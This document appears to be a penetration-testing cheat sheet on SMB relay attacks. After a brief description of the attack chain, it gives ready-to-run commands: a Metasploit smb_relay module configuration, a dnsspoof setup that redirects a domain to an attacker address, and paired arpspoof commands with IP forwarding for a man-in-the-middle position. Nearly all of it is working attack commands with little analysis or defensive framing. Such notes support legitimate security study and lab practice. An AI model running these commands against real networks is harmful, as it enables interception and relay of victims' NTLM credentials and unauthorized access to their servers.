SMB relay attack with ARP spoofing and DNS poisoning

An SMB relay attack sits between a client and a server, captures the NTLM authentication exchange, and forwards (relays) it to another server that trusts the client.

The attack chain

1. Poison ARP or DNS so the victim’s SMB traffic routes through the attacker
2. Relay the captured NTLM challenge/response to a legitimate SMB server
3. Gain authenticated access as the victim user

Configure the Metasploit relay module

use exploit/windows/smb/smb_relay
set SRVHOST <attacker_ip>    # where the fake SMB server listens
set LHOST <attacker_ip>
set SMBHOST <target_server_ip>   # the legitimate server to relay creds to
run

DNS poisoning (redirect a domain to the attacker)

echo "172.16.5.101 *.sportsfoo.com" > dns_config
dnsspoof -i eth1 -f dns_config

ARP spoofing (MITM between victim and gateway)

echo 1 > /proc/sys/net/ipv4/ip_forward     # enable IP forwarding so traffic still flows
arpspoof -i eth1 -t <victim_ip> <gateway_ip>   # poison victim's ARP cache
arpspoof -i eth1 -t <gateway_ip> <victim_ip>   # poison gateway's ARP cache

The two arpspoof commands run in separate terminals simultaneously; stopping either one restores correct ARP entries.

Related

• SMB & NetBIOS enumeration: confirm SMB signing status before attempting a relay
• SMB exploitation: direct credential-based alternative when relaying isn’t viable
• Windows hash dumping and pass-the-hash: another way to abuse captured NTLM material